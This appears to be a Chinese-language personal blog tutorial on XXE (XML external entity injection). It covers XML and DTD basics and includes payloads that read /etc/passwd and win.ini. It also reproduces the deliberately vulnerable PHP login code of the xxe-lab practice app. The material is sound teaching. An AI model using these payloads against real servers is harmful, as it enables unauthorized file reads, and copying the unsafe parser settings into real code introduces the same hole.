前言

学习XXE,其实前段时间写过一篇关于XXE的,但是由于不可描述的原因,我那篇博客原稿没有了。再总结一次,这次做好了备份。

XXE基础

xxe概念

XXE漏洞全称XML External Entity Injection,也就是xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。XXE漏洞触发的点往往是可以上传XML文件的位置,没有对上传的XML文件进行过滤,导致可上传恶意XML文件。

XML基础知识

XML指可扩展标记语言。
XML被设计用来传输和存储数据。
XML语言没有预定义的标签,允许作者定义自己的标签和自己的文档结构。
语法规则:

XML文档必须有一个根元素
XML元素都必须有一个关闭标签
XML标签对大小写敏感
XML元素必须被正确的嵌套
XML属性必须加引导

一个XML样例看一下

<?xml version="1.0" encoding="ISO-8859-1"?>
<note>
<to>m0re</to>
<from>blog</from>
<heading>best xml</heading>
<body>Do you know xml?</body>
</note>

可以通过浏览器访问来检查一下上面的规则。比如标签的字母大小写修改一下还能不能和解析成功。

实体引用:

m0re
实体引用是因为在浏览器中直接使用这几个符号可能无法成功打印出来,可能会有歧义,所以就需要实体引用起作用了。

DTD

DTD的作用是定义XML文档的合法构建模块
DTD可以在XML文档内声明,也可以外部引用。
DTD的属性如下
m0re
示例:

  1. 内部声明:
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE note [
    	<!ELEMENT note (to,from.heading,body)>
    	<!ELEMENT to	  (#PCDATA)>
    	<!ELEMENT from	  (#PCDATA)>
    	<!ELEMENT heading (#PCDATA)>
    	<!ELEMENT body	  (#PCDATA)>
    ]>
    <note>
    	<to>m0re</to>
    	<from>blog</from>
    	<heading>best xml</heading>
    	<body>Do you kmow xml?</body>
    </note>
  2. 外部引用
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE note SYSTEM "note.dtd">
    <note>
    	<to>m0re</to>
    	<from>blog</from>
    	<heading>best xml</heading>
    	<body>Do you kmow xml?</body>
    </note>
    
    <!--note.dtd-->
    <!ELEMENT note (to,from.heading,body)>
    <!ELEMENT to	  (#PCDATA)>
    <!ELEMENT from	  (#PCDATA)>
    <!ELEMENT heading (#PCDATA)>
    <!ELEMENT body	  (#PCDATA)>
    默认属性值:
    m0re
    两种方式是一样的,其实不加<!ELEMENT note (to,from.heading,body)>这个也是可以显示出来相同的内容,这里的例子知识为了说明这两种引用方式一样。
    这个是本地的,但是如果是允许web引用包含的话,危害就比较大了。

外部声明默认协议及PHP扩展协议
m0re
其中PHP支持的伪协议较多。

XXE文件读取

通过XML写入命令,提交XML可在存在XXE漏洞的环境中

<?xml version="1.0"?>
<!DOCTYPE mail[
<!ELEMENT mail (message)>
<!ENTITY hacker SYSTEM "file:///etc/passwd">
]>

<mail>
<message>&hacker;</message>
</mail>

<!ENTITY hacker SYSTEM "file:///etc/passwd">外部实体说明
&hacker;是在xml文档中被引用。

如果题中给了文件路径,那就更容易了,直接读取就可以了。

xxe-lab

项目地址——🍗传送门
安装过程出点差错,phpstudy配制出错了,然后搭建的时候报错

You don't have permission to access /xxe-lab/ on this server.'

解决办法——🍖已解决
m0re

XXE简单利用

一般XXE利用分为两大场景:有回显和无回显。有回显的情况可以直接在页面中看到Payload的执行结果或现象,无回显的情况又称为blind xxe可以使用外带数据通道提取数据
xxe-lab是有回显的。
查看xxe-lab的PHP源码

<?php
/**
* autor: c0ny1
* date: 2018-2-7
*/

$USERNAME = 'admin'; //账号
$PASSWORD = 'admin'; //密码
$result = null;

libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');

try{
	$dom = new DOMDocument();
	$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
	$creds = simplexml_import_dom($dom);

	$username = $creds->username;
	$password = $creds->password;

	if($username == $USERNAME && $password == $PASSWORD){
		$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
	}else{
		$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
	}	
}catch(Exception $e){
	$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}

header('Content-Type: text/html; charset=utf-8');
echo $result;
?>

可以从这里看出是XXE漏洞注入,而且是POST方式请求。
可以抓包查看
m0re
构造payload

<?xml version="1.0"?>
<!DOCTYPE m0re[
<!ELEMENT m0re (message)>
<!ENTITY hacker SYSTEM "file:///C:/windows/win.ini">
]>

<user><username>&hacker;</username><password>m0re</password></user>

使得构造的payload在username输出就行了。
结果
m0re
这个就是很简单的XXE漏洞利用,读取文件,这个是可以读取任意文件的。

小结

这是对XXE漏洞基础的了解,以后遇到再进行深入学习。✊